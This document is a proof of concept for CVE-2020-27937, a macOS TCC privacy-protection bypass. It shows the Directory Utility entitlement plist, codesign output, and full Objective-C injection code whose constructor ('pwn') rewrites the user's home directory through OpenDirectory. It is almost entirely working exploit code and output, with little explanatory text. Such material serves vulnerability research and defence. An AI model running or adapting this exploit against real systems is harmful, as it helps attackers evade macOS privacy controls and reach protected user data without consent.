Change home directory and bypass TCC aka CVE-2020-27937

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.private.tcc.allow</key>
    <array>
        <string>kTCCServiceSystemPolicySysAdminFiles</string>
    </array>
</dict>
</plist>

$ codesign -d -vv "/System/Library/CoreServices/Applications/Directory Utility.app"
Executable=/System/Library/CoreServices/Applications/Directory Utility.app
Identifier=com.apple.DirectoryUtility
Format=app bundle with Mach-O thin (x86_64)
CodeDirectory v=20100 size=1451 flags=0x0(none) hashes=38+5 location=embedded
Platform identifier=10
Signature size=4547
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
Info.plist entries=27
TeamIdentifier=not set
Sealed Resources version=2 rules=13 files=284
Internal requirements count=1 size=76

$ man getpwuid
[...]
DESCRIPTION
     These functions obtain information from opendirectoryd(8), including records in /etc/master.passwd which is described in master.passwd(5).  Each entry in the database is defined by the struc-
     ture passwd found in the include file <pwd.h>:
[...]

#import <Foundation/Foundation.h>
#import <OpenDirectory/OpenDirectory.h>

#define NEW_HOME_DIRECTORY @"/tmp/tccbypass"
#define USER_UID @"501"

ODRecord* getUsersRecord() {
    
    NSError *err = nil;
    ODSession *session = [ODSession defaultSession];
    ODNode *node = [ODNode nodeWithSession:session type:kODNodeTypeLocalNodes error:&err];
    
    if(err != nil) {
        NSLog(@"%@", [err localizedDescription]);
        exit(0);
    }
    
    ODQuery *getNFSHomeDirectory = [ODQuery queryWithNode:node
                                           forRecordTypes:kODRecordTypeUsers
                                                attribute:kODAttributeTypeUniqueID
                                                matchType:kODMatchEqualTo
                                              queryValues:USER_UID
                                         returnAttributes:kODAttributeTypeStandardOnly
                                           maximumResults:1
                                                    error:&err];
    if(err != nil) {
        NSLog(@"%@", [err localizedDescription]);
        exit(0);
    }
    
    NSArray *foundRecords = [getNFSHomeDirectory resultsAllowingPartial:NO error:&err];
    return foundRecords.firstObject;
}

NSString* getUsersNFSHomeDirectory(ODRecord *userRecord) {
    NSError *err = nil;
    NSString *nfsHomeDirectory = [userRecord valuesForAttribute:kODAttributeTypeNFSHomeDirectory error:&err].firstObject;
    if(err != nil) {
        NSLog(@"%@", [err localizedDescription]);
        exit(0);
    }
    return nfsHomeDirectory;
}

BOOL changeUsersNFSHomeDirectory(ODRecord *userRecord) {
    NSError *err = nil;
    BOOL result = [userRecord setValue:NEW_HOME_DIRECTORY forAttribute:kODAttributeTypeNFSHomeDirectory error:&err];
    if(err != nil) {
        NSLog(@"%@", [err localizedDescription]);
        exit(0);
    }
    return result;
}

__attribute__((constructor)) static void pwn() {
    
    NSLog(@"Injected...");
    
    ODRecord *userRecord = getUsersRecord();
    NSString *homeDirectory = [userRecord recordName];
    NSLog(@"Got OD node of user: %@", homeDirectory);
    
    NSString *nfsHomeDirectory = getUsersNFSHomeDirectory(userRecord);
    NSLog(@"User's NFSHomeDirectory: %@", nfsHomeDirectory);
    
    BOOL result = changeUsersNFSHomeDirectory(userRecord);
    
    if(result == YES) {
        NSLog(@"Successfully changed user's NFSHomeDirectory");
    } else {
        NSLog(@"Exploit was unable to change user's NFSHomeDirectory");
    }
    
    nfsHomeDirectory = getUsersNFSHomeDirectory(userRecord);
    NSLog(@"User's NFSHomeDirectory: %@", nfsHomeDirectory);
    
    exit(0);
    
}